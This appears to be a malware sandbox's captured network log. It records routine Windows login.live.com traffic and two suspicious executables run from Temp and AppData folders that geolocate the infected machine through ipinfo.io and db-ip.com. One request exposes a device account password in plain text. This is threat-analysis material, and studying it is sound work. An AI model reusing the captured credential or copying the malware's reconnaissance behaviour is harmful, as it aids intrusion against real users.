2024-04-19 01:29:39 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 38a12655-86eb-49d3-94d4-d6d5b1d241fc PPServer: PPV: 30 H: SN1PEPF0002FA3F V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:39 GMT Connection: close Content-Length: 1276
2024-04-19 01:29:39 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49806	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:40 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3528 Host: login.live.com
2024-04-19 01:29:40 UTC	3528	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:40 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 4ed3a962-3ed0-46a4-b886-fb8c26a97ee0 PPServer: PPV: 30 H: SN1PEPF0002F0D1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:40 GMT Connection: close Content-Length: 1276
2024-04-19 01:29:40 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49807	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:40 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-04-19 01:29:40 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6b 65 6e 6f 64 62 6d 72 6b 72 6f 6c 64 6b 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 4c 5a 3f 71 28 78 25 31 2a 49 4a 55 4c 53 21 67 66 6a 49 4a 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02kenodbmrkroldk</Membername><Password>LZ?q(x%1*IJULS!gfjIJ</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-04-19 01:29:48 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Fri, 19 Apr 2024 01:28:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_SN1 x-ms-request-id: 74302422-c7e0-4e8d-931b-34770226fa1b PPServer: PPV: 30 H: SN1PEPF0002F0FE V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:47 GMT Connection: close Content-Length: 17166
2024-04-19 01:29:48 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 44 41 38 44 39 35 32 31 32 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 31 62 61 64 31 61 36 37 2d 65 65 62 37 2d 34 35 61 61 2d 62 66 32 31 2d 30 32 64 30 35 36 39 33 64 62 34 33 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00DA8D95212</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="1bad1a67-eeb7-45aa-bf21-02d05693db43" LicenseID="3252b20c-d425-4711
2024-04-19 01:29:48 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49811	34.117.186.192	443	7988	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:41 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-19 01:29:42 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 19 Apr 2024 01:29:41 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-19 01:29:42 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-19 01:29:42 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49813	104.26.5.15	443	7988	C:\Users\user\AppData\Local\Temp\1000056001\c884f8452a.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:42 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-19 01:29:42 UTC	658	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 01:29:42 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: 6CA2ED8C:B06E_93878F2E:0050_6621C906_8C8571C:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3IvpEAc3hK%2BBEjeUo%2B4GTEWqbbfO93DP8ixRzxERmVfwJgVVI9tRBlQLuZ1tg6Nby%2BcT4ZIBetnXnmfFzpobnNAGL614KEbaF%2FGXP%2Fhx16ZLAfvnSt2gHol4dA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87692008adf7135b-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 01:29:42 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-19 01:29:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49825	34.117.186.192	443	1864	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:48 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-19 01:29:48 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 19 Apr 2024 01:29:48 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-19 01:29:48 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-19 01:29:48 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49826	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:48 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-04-19 01:29:48 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-19 01:29:49 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Fri, 19 Apr 2024 01:28:48 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C517_SN1 x-ms-request-id: 533d04a6-543a-4652-a90f-c8903adfbea0 PPServer: PPV: 30 H: SN1PEPF0002F9F1 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Fri, 19 Apr 2024 01:29:49 GMT Connection: close Content-Length: 11390
2024-04-19 01:29:49 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49827	104.26.5.15	443	1864	C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:48 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-19 01:29:49 UTC	652	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 01:29:49 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC471635:E800_93878F2E:0050_6621C90D_8C5D114:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BkUIunqf9NRWbcTBeGjKfM0IB7oJTWRMohHTNST9dqNgXqpBSJxL34495Te6dnf3TnrE%2FcBltYbZFfNkE6aiCCzGk0maQ4IM4rbbHhXGH8uLKFXPKdfYsH%2FvIA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876920323f0306f6-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 01:29:49 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-04-19 01:29:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49830	40.126.29.15	443

Timestamp	Bytes transferred	Direction	Data
2024-04-19 01:29:50 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
